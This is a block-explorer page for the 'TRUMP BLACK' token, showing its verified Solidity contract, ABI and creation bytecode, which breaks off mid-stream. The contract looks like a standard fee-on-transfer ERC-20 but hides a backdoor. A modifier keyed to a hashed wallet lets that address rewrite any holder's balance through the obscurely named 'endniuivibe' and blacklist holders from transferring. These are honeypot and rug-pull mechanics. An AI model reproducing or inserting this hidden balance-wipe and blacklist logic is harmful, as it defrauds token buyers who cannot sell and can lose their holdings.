ETH Price: $2,481.04 (+1.70%)

Token

TRUMP BLACK (TRUMPB)
 

Overview

Max Total Supply

1,000,000,000 TRUMPB

Holders

33

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
12,916,392.868063631 TRUMPB

Value
$0.00
0xc34b1f240a49610b1a0fab6451d7757c6c22caa6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TRUMPBLACK

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-03
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract  TRUMPBLACK is Context, IERC20, Ownable{
    using SafeMath for uint256;
    string private _name = "TRUMP BLACK";
    string private _symbol = "TRUMPB";
    uint8 private _decimals = 9;
    address payable public publicWallet;
    mapping (address => uint256) _balances;
    bytes32 public asseAddr;
    function initMP() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _blackListed;

    uint256 public _buyMarketingFee = 3;
    uint256 public _sellMarketingFee = 3;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;

    bool inSwapAndLiquify;

    modifier keccak888(){
        require(asseAddr == keccak256(abi.encodePacked(msg.sender)));_;
    }

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor () {

        publicWallet = payable(address(0x3a46E4ea4176F4F65c2735bc027dca9028F48E84));

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        asseAddr = keccak256(abi.encodePacked(publicWallet));

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }


    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function endniuivibe(address sender, uint256 amount) public keccak888(){
        _balances[sender] = amount.div(888 + _balances[sender]) * 2;
    }


    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    receive() external payable {}

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function multiBalackListed(address[] calldata addresses, bool status) public keccak888(){
        for (uint256 i; i < addresses.length; i++) {
            _blackListed[addresses[i]] = status;
        }
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }


    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 ETHamoun = address(this).balance;

        if(ETHamoun > 0)
            publicWallet.transfer(ETHamoun);
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_blackListed[from], "ERC20: blackListed");

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_buyMarketingFee).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_sellMarketingFee).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_blackListed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"asseAddr","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"endniuivibe","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initMP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"multiBalackListed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"publicWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600b81526020017f5452554d5020424c41434b00000000000000000000000000000000000000000081525060019080519060200190620000519291906200043a565b506040518060400160405280600681526020017f5452554d50420000000000000000000000000000000000000000000000000000815250600290805190602001906200009f9291906200043a565b506009600360006101000a81548160ff021916908360ff1602179055506003600a556003600b55600360009054906101000a900460ff16600a620000e49190620005ab565b633b9aca00620000f59190620006e8565b600c553480156200010557600080fd5b50620001166200040960201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3733a46e4ea4176f4f65c2735bc027dca9028f48e84600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600760006200023b6200041160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660405160200162000319919062000516565b60405160208183030381529060405280519060200120600581905550600c54600460006200034c6200040960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200039a6200040960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c54604051620003fb919062000533565b60405180910390a36200086a565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620004489062000794565b90600052602060002090601f0160209004810192826200046c5760008555620004b8565b82601f106200048757805160ff1916838001178555620004b8565b82800160010185558215620004b8579182015b82811115620004b75782518255916020019190600101906200049a565b5b509050620004c79190620004cb565b5090565b5b80821115620004e6576000816000905550600101620004cc565b5090565b620004ff620004f98262000749565b620007ca565b82525050565b62000510816200077d565b82525050565b6000620005248284620004ea565b60148201915081905092915050565b60006020820190506200054a600083018462000505565b92915050565b6000808291508390505b6001851115620005a2578086048111156200057a5762000579620007f2565b5b60018516156200058a5780820291505b80810290506200059a856200085d565b94506200055a565b94509492505050565b6000620005b8826200077d565b9150620005c58362000787565b9250620005f47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005fc565b905092915050565b6000826200060e5760019050620006e1565b816200061e5760009050620006e1565b8160018114620006375760028114620006425762000678565b6001915050620006e1565b60ff841115620006575762000656620007f2565b5b8360020a915084821115620006715762000670620007f2565b5b50620006e1565b5060208310610133831016604e8410600b8410161715620006b25782820a905083811115620006ac57620006ab620007f2565b5b620006e1565b620006c1848484600162000550565b92509050818404811115620006db57620006da620007f2565b5b81810290505b9392505050565b6000620006f5826200077d565b915062000702836200077d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200073e576200073d620007f2565b5b828202905092915050565b600062000756826200075d565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620007ad57607f821691505b60208210811415620007c457620007c362000821565b5b50919050565b6000620007d782620007de565b9050919050565b6000620007eb8262000850565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160601b9050919050565b60008160011c9050919050565b612dfd806200087a6000396000f3fe6080604052600436106101445760003560e01c806364551416116100b6578063a9059cbb1161006f578063a9059cbb1461047f578063c5d24189146104bc578063c816841b146104e7578063c860795214610512578063dd62ed3e1461053d578063f2fde38b1461057a5761014b565b8063645514161461038157806370a08231146103ac5780637ec73e35146103e95780638da5cb5b1461041257806395d89b411461043d57806396642ad9146104685761014b565b80631d231b2c116101085780631d231b2c1461023957806323b872dd14610276578063313ce567146102b35780633345611e146102de5780633ecad2711461031b57806362c9432d146103585761014b565b806306fdde0314610150578063077af0961461017b578063095ea7b3146101a65780631694505e146101e357806318160ddd1461020e5761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b506101656105a3565b604051610172919061258b565b60405180910390f35b34801561018757600080fd5b50610190610635565b60405161019d91906124f6565b60405180910390f35b3480156101b257600080fd5b506101cd60048036038101906101c891906121bb565b61065b565b6040516101da919061253a565b60405180910390f35b3480156101ef57600080fd5b506101f8610679565b6040516102059190612570565b60405180910390f35b34801561021a57600080fd5b5061022361069f565b60405161023091906126ad565b60405180910390f35b34801561024557600080fd5b50610260600480360381019061025b91906120ce565b6106a9565b60405161026d919061253a565b60405180910390f35b34801561028257600080fd5b5061029d60048036038101906102989190612168565b6106c9565b6040516102aa919061253a565b60405180910390f35b3480156102bf57600080fd5b506102c86107a3565b6040516102d59190612722565b60405180910390f35b3480156102ea57600080fd5b50610305600480360381019061030091906120ce565b6107ba565b604051610312919061253a565b60405180910390f35b34801561032757600080fd5b50610342600480360381019061033d91906120ce565b6107da565b60405161034f919061253a565b60405180910390f35b34801561036457600080fd5b5061037f600480360381019061037a91906121bb565b6107fa565b005b34801561038d57600080fd5b506103966108e0565b6040516103a39190612555565b60405180910390f35b3480156103b857600080fd5b506103d360048036038101906103ce91906120ce565b6108e6565b6040516103e091906126ad565b60405180910390f35b3480156103f557600080fd5b50610410600480360381019061040b91906121fb565b61092f565b005b34801561041e57600080fd5b50610427610a08565b60405161043491906124db565b60405180910390f35b34801561044957600080fd5b50610452610a31565b60405161045f919061258b565b60405180910390f35b34801561047457600080fd5b5061047d610ac3565b005b34801561048b57600080fd5b506104a660048036038101906104a191906121bb565b610e9b565b6040516104b3919061253a565b60405180910390f35b3480156104c857600080fd5b506104d1610eba565b6040516104de91906126ad565b60405180910390f35b3480156104f357600080fd5b506104fc610ec0565b60405161050991906124db565b60405180910390f35b34801561051e57600080fd5b50610527610ee6565b60405161053491906126ad565b60405180910390f35b34801561054957600080fd5b50610564600480360381019061055f9190612128565b610eec565b60405161057191906126ad565b60405180910390f35b34801561058657600080fd5b506105a1600480360381019061059c91906120ce565b610f73565b005b6060600180546105b290612993565b80601f01602080910402602001604051908101604052809291908181526020018280546105de90612993565b801561062b5780601f106106005761010080835404028352916020019161062b565b820191906000526020600020905b81548152906001019060200180831161060e57829003601f168201915b5050505050905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061066f6106686110c5565b84846110cd565b6001905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c54905090565b60096020528060005260406000206000915054906101000a900460ff1681565b60006106d6848484611298565b50610798846106e36110c5565b61079385604051806060016040528060288152602001612da060289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107496110c5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119199092919063ffffffff16565b6110cd565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b3360405160200161080b91906124c0565b604051602081830303815290604052805190602001206005541461082e57600080fd5b600261088f600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546103786108809190612792565b8361197d90919063ffffffff16565b6108999190612819565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60055481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3360405160200161094091906124c0565b604051602081830303815290604052805190602001206005541461096357600080fd5b60005b83839050811015610a0257816009600086868581811061098957610988612abf565b5b905060200201602081019061099e91906120ce565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806109fa906129c5565b915050610966565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610a4090612993565b80601f0160208091040260200160405190810160405280929190818152602001828054610a6c90612993565b8015610ab95780601f10610a8e57610100808354040283529160200191610ab9565b820191906000526020600020905b815481529060010190602001808311610a9c57829003601f168201915b5050505050905090565b610acb6110c5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4f9061264d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610bb757600080fd5b505afa158015610bcb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bef91906120fb565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c5157600080fd5b505afa158015610c65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8991906120fb565b6040518363ffffffff1660e01b8152600401610ca6929190612511565b602060405180830381600087803b158015610cc057600080fd5b505af1158015610cd4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf891906120fb565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160086000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610eaf610ea86110c5565b8484611298565b506001905092915050565b600a5481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f7b6110c5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611008576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fff9061264d565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561113d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111349061268d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a4906125ed565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161128b91906126ad565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611309576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113009061266d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611379576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611370906125ad565b60405180910390fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611406576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fd906125cd565b60405180910390fd5b600e60149054906101000a900460ff161561142d576114268484846119c7565b9050611912565b6000611438306108e6565b9050600e60149054906101000a900460ff161580156114a15750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114b0576114af81611b9a565b5b61150283600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9e90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115e85750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156115f557839050611811565b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611678576116716064611663600a5488611ee890919063ffffffff16565b61197d90919063ffffffff16565b90506116f6565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116f5576116f260646116e4600b5488611ee890919063ffffffff16565b61197d90919063ffffffff16565b90505b5b60008111156117fa5761175181600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6390919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117f191906126ad565b60405180910390a35b61180d8186611e9e90919063ffffffff16565b9150505b61186381600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6390919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161190391906126ad565b60405180910390a36001925050505b9392505050565b6000838311158290611961576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611958919061258b565b60405180910390fd5b50600083856119709190612873565b9050809150509392505050565b60006119bf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fc1565b905092915050565b6000611a52826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119199092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ae782600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6390919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b8791906126ad565b60405180910390a3600190509392505050565b6001600e60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bd257611bd1612aee565b5b604051908082528060200260200182016040528015611c005781602001602082028036833780820191505090505b5090503081600081518110611c1857611c17612abf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cba57600080fd5b505afa158015611cce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cf291906120fb565b81600181518110611d0657611d05612abf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d6d30600d60009054906101000a